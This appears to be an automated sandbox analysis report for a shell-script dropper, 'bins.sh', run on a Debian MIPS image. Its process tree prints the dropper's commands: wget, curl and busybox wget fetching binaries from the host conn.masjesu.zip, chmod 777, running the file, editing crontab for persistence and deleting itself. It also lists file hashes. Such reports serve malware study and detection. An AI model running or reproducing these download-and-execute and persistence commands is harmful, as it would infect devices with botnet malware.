Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/12/2024, 20:25

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5565dbc3dea88b5efa093bf6f6cb0f2e

  • SHA1

    ada37c7b5fc24f816b1750c80b47fabae801eb3d

  • SHA256

    5712c96a6f61d81d03e6fadb1ab213cbced525bc1548981318d3dfe47f03c9c6

  • SHA512

    664d4bd67a7fe00d7f799a0c89453ea30bbb8ff23b64b8c040465302bb903e609fadb175187f6f272b9aa9282524c827bd17826c1dc1617413ecfd7a979c171b

  • SSDEEP

    96:YRJILM9M9M5zkw0wJwhwf0wvLYDYfYz6a/L1VLn7Fb3JHLZxi/TLLufuzuTksJIy:bMi6f0wvUTHaxO5i6f0wV

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • System Network Configuration Discovery
          PID:739
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:818
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:819
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:821
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:822
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:823
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  • Reads runtime system information
                  PID:824
            • /bin/rm
              rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
              2⤵
                PID:828
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:829
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:830
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
                2⤵
                • System Network Configuration Discovery
                PID:831

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                    Filesize

                    151KB

                    MD5

                    6c583043d91c55aa470c08c87058e917

                    SHA1

                    abf65a5b9bba69980278ad09356e53de8bb89439

                    SHA256

                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                    SHA512

                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                  • /var/spool/cron/crontabs/tmp.FUV38W

                    Filesize

                    210B

                    MD5

                    7efe52b2de6e71ac50b770cf32218aac

                    SHA1

                    ade25d2ddfbbbf690febf439ab6c9be4b484d402

                    SHA256

                    c81fa91db4d9fa0605ef5576fa0e3bc4fb94f0ece0fa242c1e8fabf826f91d15

                    SHA512

                    f96c20247d84eed1819b80526f6671b3350cd908be62eda99e9392e0716735ba9b3b43f54bbf314ee1b188cdfb6bc1e21d16f27e10d52ef01b0bb57f3d74604f